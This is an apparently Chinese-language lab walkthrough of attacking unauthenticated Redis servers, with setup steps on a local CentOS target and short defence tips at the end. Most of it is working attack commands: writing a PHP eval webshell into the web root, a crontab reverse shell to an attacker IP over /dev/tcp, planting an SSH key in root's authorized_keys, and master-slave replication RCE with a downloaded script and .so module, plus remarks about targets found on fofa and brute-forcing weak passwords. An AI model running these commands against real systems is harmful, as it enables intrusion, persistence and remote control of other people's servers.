浅谈未授权漏洞——Redis未授权getshell
0x01 环境搭建
环境介绍
目标靶机:Centos 7
靶机ip:192.168.122.133
攻击机:window
连接工具:
(1)redisclient (2)RedisDesktopManager
下载Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
环境搭建
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功
0x02 未授权登录
使用redisclient或者RedisDesktopManager连接靶机Redis服务:redisclient下载地址
- redisclient:
2.RedisDesktopManager:
3.redis-cli.exe
4.利用蚁剑插件连接redis
打开蚁剑->点击antsword
->选择插件市场->Redis管理,进行插件的安装。
复现过程中踩过的坑:
1.没有关闭Centos防火墙,导致redis连接失败。
0x03 利用Redis写webshell
利用前提:
(1)靶机redis未授权,在攻击机能用redis clinet连接,并未登录验证
(2)靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限
靶机已经开启web服务,根目录为/var/www/html
这里使用redis clinet写入webshell
写入webshell
config set dir /var/www/html
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save
写入一句话webshell
<?php @eval($_POST['123']); ?>
写入后,通过蚁剑连接webshell
0x04 利用crontab计划任务反弹shell
1.首先在攻击机上使用nc监听一个端口,用于反弹shell
nc -lvnp 5555
2.使用redis-cli连接redis,写入反弹shell
redis-cli.exe -h 192.168.122.133
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.200.90.60/5555 0>&1\n\n\n"
config set dbfilename root
save
反弹shell成功!
0X05 写入SSH公钥实现SSH登录
利用原理
原理就是在数据库中插入一条数据,将本机的公钥作为value值,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
利用条件
- 知道启动服务的用户
- 拥有.ssh目录
- 允许使用基于密钥认证的方式登陆
复现过程
1.先在KALI上生成一个ssh公钥
ssh-keygen -t rsa
2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
3.再把key.txt文件内容写入redis缓冲
cat /root/.ssh/key.txt |redis-cli -h 192.168.10.139 -x set pub
4.设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成),当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作
5.测试是否可以通过ssh登录目标服务器,成功登录
0x06 主从复制rce
什么是主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
主从复制RCE主要原理就是,攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so
文件,完成命令执行。
利用条件
- redis版本:Redis 4.x-Redis 5.x
利用脚本
python文件下载地址:redis-rce
.so文件下载地址:exp.so
复现过程
执行脚本,填入本地ip,redis服务器ip,so文件,选择i可以直接交互执行命令,选择r可以通过监听端口的方式反弹shell
python3 redis-rce.py -L192.168.122.130 -r 192.168.122.134 -f exp.so
利用成功
0x07 防御建议
- 设置密码并且保证密码口令为强口令
- 以低权限启动redis数据库
- 不允许数据库外联并且设置白名单ip
0x08 总结
- 主从复制rce目标redis数据库版本必须大于等于4.0.0
- redis未授权漏洞可遇不可求,很多fofa上搜索到的目标,都无法利用。原因是没有相关可利用的文件夹,无法写入公钥和webshell。
- 遇到redis可以先尝试爆破口令,尤其是在内网中,弱口令很多